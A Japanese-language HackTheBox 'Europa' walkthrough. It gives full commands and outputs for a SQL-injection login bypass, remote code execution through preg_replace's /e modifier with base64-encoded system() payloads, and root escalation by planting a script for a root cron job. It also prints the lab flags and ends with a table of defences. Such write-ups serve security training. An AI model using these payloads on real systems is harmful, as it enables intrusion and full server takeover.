HackTheBox: Europa — 全実行コマンド・実行結果レポート
SSL証明書 SAN列挙
admin-portal.europacorp.htb発見
→
admin-portal.europacorp.htb発見
login.php SQLi
‘ OR ‘1’=’1 認証バイパス
→
‘ OR ‘1’=’1 認証バイパス
tools.php preg_replace /e
system(base64_decode(…))
→
system(base64_decode(…))
RCE (www-data)
user.txt ✓
→
user.txt ✓
root cron差替
/var/www/cmd/logcleared.sh
→
/var/www/cmd/logcleared.sh
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.222 nmap -sV -sC -p 22,80,443 10.129.58.222
RESULT
PORT STATE SERVICE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 80/tcp open http Apache 443/tcp open https Apache / ssl-cert CN=europacorp.htb
SSL証明書 SAN からの vhost 発見
BASH
echo | openssl s_client -connect 10.129.58.222:443 2>/dev/null \ | openssl x509 -noout -text | grep -A2 "Subject Alternative Name"
RESULT
X509v3 Subject Alternative Name:
DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
ℹ️
80/443番はデフォルトのApacheページのみでディレクトリ探索も空振りだったが、
SSL証明書のSANフィールドから隠れたvhost
admin-portal.europacorp.htb
を発見できた。/etc/hosts に追記してアクセスするとログインページが出現する。
BASH
echo "10.129.58.222 admin-portal.europacorp.htb" | sudo tee -a /etc/hosts
PHASE 2
login.php SQLi 認証バイパス
トラブルシューティング: sqlmapの–dump-allは高レイテンシ回線で非現実的
BASH
# 定石通りの手順(admin.usersテーブルをダンプしてハッシュをクラックする想定) sqlmap -u https://admin-portal.europacorp.htb/login.php \ --data "email=admin@europacorp.htb&password=" \ --risk 3 --level 3 --dbms MYSQL --dump-all --batch
RESULT
[CRITICAL] connection timed out to the target URL. sqlmap is going to retry ...(risk 3 + level 3 + dump-allで大量のリクエストが発生、5分のタイムアウトを 超過して完走しない)
🚨
根本原因: このVPN経由の回線は1リクエストあたり数百ms〜数秒かかる
ことがあり、
--risk 3 --level 3で追加される多数のテストペイロード
(boolean-blindの1手法だけでも1回のテストに数十秒かかる)に --dump-all
(全データベース・全テーブルを走査)が重なると、現実的な時間で完走しない。
軽量プローブで判明した重大な事実 — 認証バイパスがそのまま効く
BASH
# --level 1 --risk 1 の軽量スキャン中、boolean-basedのテストペイロードの # 1つが偶然ログイン成功のリダイレクトを引き起こした: sqlmap -u https://admin-portal.europacorp.htb/login.php \ --data "email=admin@europacorp.htb&password=" --batch --dbms=MYSQL --level 1 --risk 1
RESULT
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
got a 302 redirect to 'https://admin-portal.europacorp.htb/dashboard.php'
🚨
手掛かり発見: sqlmapのテストペイロードの1つがログインページを
dashboard.phpへリダイレクトさせた。これは email パラメータが
クォート無しでSQL文へ直接連結されており、古典的なOR注入で
パスワードを一切知らずに認証を突破できることを示唆している。
認証バイパスの確認
BASH
curl -sk -i -c cookies.txt \ --data "email=admin@europacorp.htb' OR '1'='1&password=x" \ "https://admin-portal.europacorp.htb/login.php"
RESULT
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=mgckaj0k0nu4nd57ilp8idk3b5; path=/
Location: https://admin-portal.europacorp.htb/dashboard.php
✅
認証バイパス成功。
email=admin@europacorp.htb' OR '1'='1
を送るだけで、WHERE句が常に真になりログインに成功する。sqlmapでのダンプも
hashcat/johnでのクラックも一切不要な、大幅に高速で確実な経路。
PHASE 3
tools.php preg_replace RCE & user.txt
tools.php のフォーム構造確認
BASH
curl -sk -b cookies.txt "https://admin-portal.europacorp.htb/tools.php" \ | grep -i "input\|pattern\|ipaddress"
RESULT
<input type="hidden" name="pattern" value="/ip_address/"> <input class="form-control" placeholder="IP Address of Remote Host" name="ipaddress" type="text">
ℹ️
サーバー側は
preg_replace($_POST['pattern'], $_POST['ipaddress'], $text)
のような形でユーザー入力の pattern をそのまま正規表現として使っている。
PHP 5.x系では preg_replace() の非推奨 /e 修飾子を
パターンに付けると、置換文字列がPHPコードとしてeval()される既知の脆弱性がある。
preg_replace /e 修飾子によるRCE
BASH
# base64経由でコマンドを渡すことでPHP文字列内のクォート衝突を回避する
B64=$(echo -n "id" | base64 -w0)
curl -sk -b cookies.txt \
--data-urlencode "pattern=/(.*)/e" \
--data-urlencode "ipaddress=system(base64_decode('$B64'))" \
--data-urlencode "text=x" \
"https://admin-portal.europacorp.htb/tools.php"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功。
system()の出力はページ先頭付近
(レスポンスの<!DOCTYPE html>より前)に直接印字される点に注意
(preg_replaceのeval評価がテンプレート処理より先に走るため)。
user.txt 取得
BASH
CMD="cat /home/*/user.txt"
B64=$(echo -n "$CMD" | base64 -w0)
curl -sk -b cookies.txt \
--data-urlencode "pattern=/(.*)/e" \
--data-urlencode "ipaddress=system(base64_decode('$B64'))" \
--data-urlencode "text=x" \
"https://admin-portal.europacorp.htb/tools.php"
RESULT
393b96c2d0cdc7c37a05f46565e9f13f
user.txt
393b96c2d0cdc7c37a05f46565e9f13f
PHASE 4
権限昇格の下調べ — root cron の書込可能スクリプト
/etc/crontab の確認
BASH
# RCE経由で /etc/crontab を読む (rce()はPhase3のRCEをラップした関数) rce "cat /etc/crontab"
RESULT
17 * * * * root cd / && run-parts --report /etc/cron.hourly
...
* * * * * root /var/www/cronjobs/clearlogs
ℹ️
/var/www/cronjobs/clearlogs がroot権限で毎分実行されている。
clearlogs スクリプトの中身確認
BASH
rce "cat /var/www/cronjobs/clearlogs"
RESULT
#!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>
BASH
rce "ls -la /var/www/cmd/"
RESULT
drwxrwxr-x 2 root www-data 4096 ... .
(logcleared.sh は存在しない。ディレクトリ自体が www-data 書込可)
🚨
権限昇格の糸口:
exec()で呼ばれる
/var/www/cmd/logcleared.sh は存在せず、かつ格納先ディレクトリが
www-data書込可。ここに任意スクリプトを設置すれば、毎分のroot cronが
そのまま実行してくれる。
PHASE 5
cron乗っ取り → root.txt
トラブルシューティング: cpは元ファイルの制限的パーミッションを引き継ぐ
BASH
# 最初に試した(不十分な)ペイロード rce "printf '#!/bin/sh\ncp /root/root.txt /var/www/cmd/root.txt\n' > /var/www/cmd/logcleared.sh" rce "chmod +x /var/www/cmd/logcleared.sh" # cron発火後... rce "ls -la /var/www/cmd/"
RESULT
-r-------- 1 root root 33 ... root.txt ← root専用read-only、www-dataから読めない!
🚨
根本原因:
/root/root.txt は元々 -r--------
(root専用read-only)。cpコマンドは明示的に--preserve=modeを
指定しなくても、コピー先が新規作成の場合に元ファイルの制限的な
パーミッションをそのまま引き継ぐことがある。コピー自体はroot権限のcronで
成功しているのに、コピー後のファイルを www-data から読めないという罠。
BASH
# 対策: cronスクリプト自体にchmodも含める(スクリプト全体がroot権限で走るため) rce "printf '#!/bin/sh\ncp /root/root.txt /var/www/cmd/rootflag.txt\nchmod 644 /var/www/cmd/rootflag.txt\n' > /var/www/cmd/logcleared.sh" rce "chmod +x /var/www/cmd/logcleared.sh"
✅
cronスクリプト内で
chmod 644 まで実行させることで、コピー後の
ファイルを www-data からも読めるようにする。
root cron発火待ち & root.txt取得
BASH
# 毎分実行なので最大60秒程度ポーリング
while true; do
out=$(rce "cat /var/www/cmd/rootflag.txt 2>/dev/null")
echo "$out" | grep -qE "^[0-9a-f]{32}" && break
sleep 8
done
RESULT
6ec8efdcc51353ce8b6043739d012fc4
root.txt — root
6ec8efdcc51353ce8b6043739d012fc4
✅
権限昇格成功。 root権限のcronが1分以内にlogcleared.shを実行し、
chmod済みのroot.txtコピーをwww-dataから読み取れた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt
393b96c2d0cdc7c37a05f46565e9f13f
root.txt — root
6ec8efdcc51353ce8b6043739d012fc4
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SQLi 認証バイパス | login.php (email パラメータ) | 管理パネルへの不正ログイン | Critical | クォート無しSQL連結を悪用した ' OR '1'='1 でパスワード不問ログイン |
| preg_replace() /e 修飾子 RCE | tools.php (pattern パラメータ) | リモートコード実行 (www-data) | Critical | 非推奨の /e 修飾子で置換文字列をPHPコードとしてeval、system(base64_decode(…))で任意コマンド実行 |
| 書込可能ディレクトリ + root cron | /var/www/cmd/logcleared.sh | 権限昇格 (root) | High | 存在しない呼び出し先スクリプトをwww-data権限で設置し、root権限の毎分cronに実行させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + SSL証明書SAN解析 | admin-portal.europacorp.htb vhost発見 |
| 2 | 認証突破 | login.php SQLi (‘ OR ‘1’=’1) | 管理パネルへのログインCookie |
| 3 | RCE | tools.php preg_replace /e修飾子 | user.txt 取得(www-dataシェル相当) |
| 4 | 権限調査 | /etc/crontab + clearlogsスクリプト解析 | root cronが呼ぶ書込可能パスを特定 |
| 5 | 権限昇格 | logcleared.sh設置+chmod、root cron待ち | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SSL証明書のSubject Alternative Nameから隠しvhostが漏洩している | ワイルドカード証明書の使用や、SANに含めるドメインを最小限にする。内部/管理用vhostは別CA・別証明書にする。 |
| ログインフォームのSQL文がユーザー入力をクォート無しで直接連結している | プリペアドステートメント/パラメータ化クエリを徹底する。 |
| preg_replace()の非推奨/e修飾子をユーザー制御可能なパターンで使用している | PHP 5.5以降で非推奨・7.0で削除された/e修飾子を使わず、preg_replace_callback()を使う。パターン文字列を絶対にユーザー入力から構築しない。 |
| root権限のcronが呼び出すスクリプトのディレクトリがwww-data書込可 | cronから呼ばれるパスの親ディレクトリの所有権・パーミッションを厳格化し、Webサーバー実行ユーザーの書込を許可しない。 |

